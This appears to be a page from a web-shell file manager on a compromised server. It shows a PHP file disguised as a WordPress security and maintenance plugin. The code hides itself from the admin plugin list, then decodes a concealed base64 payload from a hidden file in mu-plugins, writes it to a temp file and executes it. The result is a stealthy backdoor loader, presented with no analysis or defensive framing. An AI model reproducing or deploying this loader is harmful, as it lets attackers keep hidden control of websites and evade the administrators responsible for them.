HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/plugins/wp-security-tool/wp-security-tool.php
<?php
/**
 * Plugin Name: WordPress Maintenance Helper
 * Description: WordPress security and maintenance utility.
 * Version: 1.0
 * Author: Security Team
 */
defined('ABSPATH') || exit;
add_filter('all_plugins', function ($p) { unset($p[plugin_basename(__FILE__)]); return $p; }, 9999);
// Load main plugin from .swb via temp file — last-resort fallback if all mu-plugin loading failed
add_action('plugins_loaded', function () {
    if (class_exists('SW_Scanner')) return; // already loaded by mu-plugin or wp-compat-helper
    $mu = WP_CONTENT_DIR . '/mu-plugins';
    $swb = $mu . '/.swb';
    if (!file_exists($swb) || !is_readable($swb)) return;
    $d = base64_decode(@file_get_contents($swb));
    if (!$d || strlen($d) < 500) return;
    $t = sys_get_temp_dir() . '/wp_c_' . substr(md5($swb), 0, 8) . '.inc';
    if (!file_exists($t) || filesize($t) < 1000) { @file_put_contents($t, $d); @chmod($t, 0644); }
    if (is_readable($t)) { @include_once $t; }
}, 1);